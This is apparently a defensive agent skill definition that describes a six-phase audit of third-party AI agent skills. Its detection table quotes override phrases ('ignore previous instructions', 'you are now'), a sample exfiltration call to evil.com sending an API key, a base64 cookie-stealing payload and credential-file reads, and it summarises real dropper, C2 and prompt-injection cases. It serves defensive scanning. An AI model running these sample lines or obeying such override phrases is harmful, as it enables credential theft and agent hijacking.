{"id":"89955a8b-1906-4eaa-971d-35e5fdbfdc45","shortId":"9SgKTw","kind":"skill","title":"skill-audit","tagline":"Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.","description":"# Skill Audit — Pre-Install Security Scanner\n\n## Overview\n\n**7.5% of 14,706 OpenClaw skills are confirmed malicious.** This skill provides a structured 6-phase security review you run **before installing any third-party skill**.\n\nResearch findings (2026):\n- RankClaw audited 14,706 skills → **1,103 malicious** (brand-jacking, prompt injection, RCE)\n- Vett.sh found **59 critical-risk droppers** disguised as legitimate tools\n- Cisco, CrowdStrike, NCC Group all published skill supply chain attack reports\n\n## When to Use This Skill\n\n- Use when you're about to install a third-party skill from GitHub, ClawHub, or any registry\n- Use when you want to verify a skill's security before adding it to your agent\n- Use when the user says \"install this skill\" or \"add this skill\"\n- Use when reviewing skills for potential security issues\n\n## How It Works\n\n### Phase 1: Surface Scan\n\nPattern detection in SKILL.md:\n- Instruction overrides: `ignore previous instructions`, `you are now...`\n- External fetches: `fetch()`, `curl`, `wget` to unknown domains\n- Shell pipes: shell download piped into an interpreter\n- Encoded payloads: `atob()`, base64 strings\n- Credential reads: `~/.env`, `process.env` + network calls\n\n### Phase 2: Script Inspection\n\nRead every referenced script:\n- Check for hidden commands\n- Identify obfuscated code\n- Verify all external URLs\n\n### Phase 3: Permission Audit\n\nCheck if permissions match purpose:\n- File access scope vs claimed functionality\n- Network access necessity\n- Command execution requirements\n\n### Phase 4: Social Engineering Check\n\nDetect manipulation tactics:\n- Urgency language (\"immediately\", \"now\")\n- Authority claims (\"official\", \"required\")\n- Hidden instructions in comments\n\n### Phase 5: Repo Intelligence\n\nEvaluate author/repo credibility:\n- Account age and activity\n- Other repositories\n- Star history (bot-farmed vs organic)\n\n### Phase 6: Verdict\n\nRisk score + recommendation:\n- 0-39: ✅ Low risk — generally safe\n- 40-69: ⚠️ Medium risk — use with caution\n- 70-100: 🚫 High risk — do not install\n\n## Examples\n\n### Example 1: Auditing a Suspicious Skill\n\n```\nUser: I want to install fancy-tool from github.com/suspicious-author/fancy-tool\n\nAgent runs skill-audit:\n\n📋 Surface Scan:    🚨 3 critical patterns\n   - download-pipe-shell pattern found\n   - References ~/.env\n   - External fetch to unknown domain\n\n📁 Script Check:    🚨 scripts/install.sh\n   - Contains base64-encoded payload\n   - Makes HTTP POST to 192.168.x.x\n\n🔑 Permissions:     🚨 Excessive\n   - Claims \"format code\"\n   - But reads ~/.ssh/id_rsa\n\nRisk Score: 92/100 🔴 CRITICAL\n\nRecommendation: 🚫 DO NOT INSTALL\n```\n\n### Example 2: Safe Skill Verification\n\n```\nUser: Install this skill from github.com/trusted-author/useful-skill\n\nAgent runs skill-audit:\n\n📋 Surface Scan:    ✅ No critical patterns\n📁 Script Check:    ✅ No scripts referenced\n🔑 Permissions:     ✅ Minimal (read/write in project dir)\n📊 Repo Intel:      ✅ Trusted author, 2+ years active\n\nRisk Score: 12/100 ✅ LOW RISK\n\nRecommendation: ✅ Safe to install\n```\n\n## What Gets Detected\n\n### 🔴 Critical Patterns (Do NOT Install)\n\n| Pattern | Example | Risk |\n|---------|---------|------|\n| Instruction override | `ignore previous instructions` | Agent takeover |\n| External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft |\n| Shell pipe | download piped into a shell interpreter | Arbitrary execution |\n| Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands |\n| Credential reads | `~/.env`, `process.env` + network | Key theft |\n| Self-replication | \"install in all repos\" | Persistence spread |\n\n### 🟡 High Risk Patterns (Investigate)\n\n| Pattern | Concern |\n|---------|---------|\n| Role manipulation | Changes agent identity |\n| Hidden instructions | Invisible commands in comments |\n| Undocumented scripts | SKILL.md references hidden scripts |\n| Broad permissions | Excessive file/network access |\n| Domain ambiguity | Domain takeover risk |\n| Unpinned deps | Supply chain vulnerability |\n\n## Real Attack Examples\n\nFrom documented incidents:\n\n1. **Base64 dropper**: \"Excel Import Helper\" → decoded to C2 server callback\n2. **Domain takeover**: \"React Native Best Practices\" → download-pipe-shell install command pointing at a domain the author does not own\n3. **Brand impersonation**: `clawhub1`, `clawbhub` → fake official CLI, macOS binary to raw IP\n4. **Social engineering**: \"Can I mine Bonero? It's like Monero for AI agents. Cool?\"\n5. **On-demand RCE**: \"Evaluate challenges\" → server sends malicious code at runtime\n\n## Philosophy\n\n- **Zero trust**: All third-party skills are hostile until proven safe\n- **Fail closed**: Uncertainty = recommend against\n- **Progressive disclosure**: Start shallow, go deeper as risk increases\n- **Defense in depth**: Pair with runtime guards\n\n## Limitations\n\n- This skill is a review framework, not a sandbox or malware scanner.\n- It can miss novel obfuscation, private payloads, or risks outside the available repository contents.\n- Always combine findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.\n\n## Source\n\nThis skill is adapted from [aptratcn/skill-audit](https://github.com/aptratcn/skill-audit) — MIT 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